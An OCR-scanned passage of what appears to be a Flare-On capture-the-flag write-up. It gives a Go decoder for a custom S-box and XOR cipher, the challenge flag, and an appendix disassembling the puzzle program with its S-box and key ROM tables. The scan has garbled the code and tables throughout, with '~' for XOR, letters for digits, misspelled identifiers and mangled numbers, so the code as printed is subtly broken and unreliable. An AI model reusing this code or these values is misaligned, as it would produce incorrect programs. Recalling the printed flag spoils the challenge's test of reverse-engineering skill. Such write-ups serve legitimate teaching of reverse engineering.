71, %1, 250, 150, 11, 236, 207, 73, 217, 17, 127, 177, 39, 231, 197, 178, 99, 230,
40, 54, 179, 93, 251, 220, 1e8, 112, 37, 246, 176, 156, 165, 95, 184, 57, 228, 133,
169, 252, 19, 2, 81, 48, 242, 105, 255, 1l1le¢, 191, 89, 181, 70, 23, 194, 88, 97,
153, 235, 164, 158, 137, 238, 108, 239, 162, 144, 115, 140, 84, 188, 109, 219, 44,
214, 227, 1lel, 141, 80, 247, 52, 213, 249, 1, 123, 142, 190, 104, 107, 85, 157, 45,
237, 47, 147, 21, 31, 196, 136, 170, 248, 13, 92, 234, 8¢, 3, 193, 154, 56, 5, 111,
°s, 74, 18, 223, 96, 148, 41, 117, 126, 173, 233, 10, 49, 180, 187, 186, 135, 59,
38, 210, 110, 102, 200, 76, 151, 198}

func InvSbox(ind byte) byte {
for i, v := range sbox {
if ind == v {
return byte (i)
}
}
return O
}
func DecodeSboxXor (msg []byte) [lbyte {
outb := make([]byte, 0, len(msqg))
xkey := []byte("all mY homles h4t3 bdrds")

18
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kctr := 0
for , v := range msg {
v = v ~ 255
if v & 128 == 128 {
v = v ~ 0x42

}

v = InvSbox (v)

kb := xkeyl[kctr $ len (xkey)]

if (kctr % len(xkey)) & 1 == 1 {
kb = kb ~ 255

}

kctr += 1
v = v ~ kb
v = InvSbox (v)

outb = append(outb, v)
}

return outb

}

Figure 17: Go implementation of the decoder
Applying this function to the ‘Wyvern’ data leads to the following image with the flag:

19
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whO_n33ds_swOrds_wh3n_you_h4ve_m4ge_h4nd@flare-on.com

Figure 18: The flag image
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Appendix A: Disassembled Potion of Water Breathing program

.links

;input -> main:x@

did @ : @ = did 2 : ©
smain:x1 -> output:xeO
did 2 : 1 =did 1 : ©
;main:x2 -> encrypt:xeo
did 2 : 2 = did 3 : ©
s;encrypt:x1 -> sboxer:x@
did 3 : 1 =did 4 : ©
s;encrypt:x1 -> sboxer:x©
did 3 : 1 =did 4 : ©
sencrypt:x2 -> xorer:x0
did 3 : 2 =did 7 : ©
;sboxer:x1 -> sbox@:x0
did 4 : 1 = did 8 : ©
;sboxer:x2 -> sbox@:x1
did 4 : 2 =did 8 : 1
;sboxer:x3 -> sboxer2:x0
did 4 : 3 =did 5 : ©

;sboxer2:x1 -> sbox1:x0
did 5 : 1 =did 9 : ©
;sboxer2:x2 -> sbox1:x1
did 5 : 2 =did 9 : 1
;sboxer2:x3 -> sboxer3:x0
did 5 : 3 =did 6 : ©

;sboxer3:x1 -> sbox2:x0
did 6 : 1 = did 10 : ©
;sboxer:x2 -> sbox2:x1
did 6 : 2 =did 10 : 1

;xorer:x1 -> xkey:x0
did 7 : 1 =did 11 : ©
;xorer:x2 -> xkey:x1
did 7 : 2 =did 11 : 1

TOC did:name
:input
:output

:Ccpu main
:cpu encrypt
:cpu sboxer
:cpu sboxer2
:cpu sboxer3
:Ccpu xorer
:rom sbox@
9:rom sbox1
10:rom sbox2
11:rom xkey

coNOUVh~WNEOO®

Ve Lo Ve We We We We Lo Ve Ve Ve Ve W
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; main cpu, gets input, passes it comps, sends it back to output
; this way we can handle -1 easier
; X0 = input

; X1 = output

5 X2 = encrypt

.Cpu main

mov X@ acc

teq acc -1

; insta quit

+ mov -1 x1

+ mov x@ acc ;hack to stall forever
mov acc x2 ; send to encrypt

mov x2 acc ; get it back

mov acc x1 ; send to output

; back to o

; X0 = input

; X1 = sboxer
; X2 = Xxorer
.cpu encrypt

; wait for input
mov X0 acc
;sbox round 1
mov acc x1

mov X1 acc

; xor round
mov acc Xx2

mov X2 acc

; Sbox round 2
mov acc x1

mov x1 dat

; custom xor based on sign bit, then not
mov 128 acc
and dat

teq acc 128

+ mov dat acc
+ Xor 66 ;0x42
- mov dat acc
not 1337

and 255

; send it back
mov acc X0

; SBOXER
;5 split up into three ROMs, each holding 100 elements (56 for the third one)

; X0 = input
; X1 = rom@ aeo
; X2 = rom@ do
; X3 = sboxer2
.Cpu sboxer
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mov X0 acc

tgt acc 99

; not in the rom

mov acc X3

+ mov X3 x0

; in our current rom
- mov acc x1

+

- mov X2 X0
5 X-
; X0 = input

; X1 = roml a@

; X2 = roml do

; X3 = sboxer3
.Cpu sboxer2

mov X0 acc

tgt acc 199

; not in the rom
+ mov acc x3

+ mov X3 x0

in our current rom
; adjust

- sub 100

- mov acc x1

- mov X2 X0

[

; X0 = input

; X1 rom2 ao

; X2 = rom2 do

.Cpu sboxer3

; if we got here, it has to be in this sbox
mov X0 acc

sub 200

mov acc x1

mov X2 x0

; XORER

; X0 = input

; X1 rom3 ao

; X2 = rom3 do

.Cpu x@rer

; get key byte, compute if not is needed
mov X1 acc

and 1
; do a not if key index is odd
teq acc 1

mov xO dat
mov X2 acc
+ not 1337
+ and 255

xor dat
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mov acc x0

.rom sboxo
90
132
6
69
174
203
232
243
87
254
166
61
94
65

208
51
34
33
129
32
221

160
35

175
113

139
245
24
29
225
15
101

206
66

120
62

195
55

202
143
100
50

224
172
222
145
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124
42
192
7
244
149
159
64
83
229
103
182
122
82
78
63
131
75
201
130
114
46
118
28
241
30
204
183
215
199
138
16
121
26
77
25
53
22
125
67
43
205
134
171
68
146
212
14
152
20

.rom sbox1l
185
155
167
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36
27
60
226
58
211
240
253
79
119
209
163
12
72
128
106
218
189
216
71
91
250
150
11
236
207
73
217
17
127
177
39
231
197
178
99
230
40
54
179
93
251
220
168
112
37
246
176
156
165
95
184
57
228
133
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169
252
19
2
81
48
242
105
255
116
191
89
181
70
23
194
88
97
153
235
164
158
137
238
108
239
162
144
115
140
84
188
109
219
44
214
227
161
141
80
247
52

.rom sbox2
213
249
1
123
142
190
104
107
85
157
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45
237
47
147
21
31
196
136
170
248
13
92
234
86

193
154
56

111
98
74
18
223
96
148
41
117
126
173
233
10
49
180
187
186
135
59
38
210
110
102
200
76
151
198

.rom xkey
97
49
49
95
109
89
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95
104
111
109
49
101
115
95
104
52
116
51
95
98
52
114
100
115
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